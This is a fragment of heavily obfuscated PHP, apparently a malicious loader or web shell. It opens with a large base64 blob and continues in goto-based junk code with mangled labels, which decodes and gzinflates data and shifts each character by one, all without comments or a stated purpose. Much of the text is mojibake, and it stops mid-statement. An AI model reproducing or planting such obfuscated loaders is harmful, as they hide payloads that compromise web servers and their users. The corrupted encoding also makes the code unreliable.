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'),10,-8)))?$���:$����);goto ��ʂ;�ʟ�:if(!($�ȩ�[0x0002]==$ʟ��+0x028))goto ֔��;goto ���;ㅃ�:if(!($�ȩ�[0x001]==$ʟ��+0x0007f))goto ���;goto ����;����:}goto ���;��:function FYnYw($����){goto ���;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �Ű�;��ݿ:$ה��=$ה��+pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��—;Ö��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �Ѷ�;����:global $���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��ݴ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;�ټ�:global $ה��;goto ��;Ч��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto χ��;�諯:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ðل;��:global $��˯;goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ַ�;�䓫:global $ה��;goto �֝;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:��ڄ:goto �̙�;ע��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ��Ȯ;��Ȯ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ν�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;�Ű�:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �՘�;ᝪ�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �葡;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ŗ��;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto �ծ;���:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto �Ө�;ɡ·:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;�lj�:if(!($����<�ߕ(0x001992,0x0000019bd,0x00196a)($����)))goto ��ڄ;goto �䓫;ц˚:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;�Ɖ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�֝:global $ה��;goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ɖ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;�Ǘ�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;��ś:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ν�;����:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ˤ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;Ν�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �֝�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ڱ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;ڒ��:global $��˯;goto ��;����:$����++;goto ��;��Lj:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ��ݿ;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �諯;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;Ŗ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ў��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��ݴ;��:global $���;goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �ڔ�;�葡:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto �ܓ�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;ˤ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;¨�:���:goto �lj�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;�׿�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;�՘�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��׭;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��—:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �׿�;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto 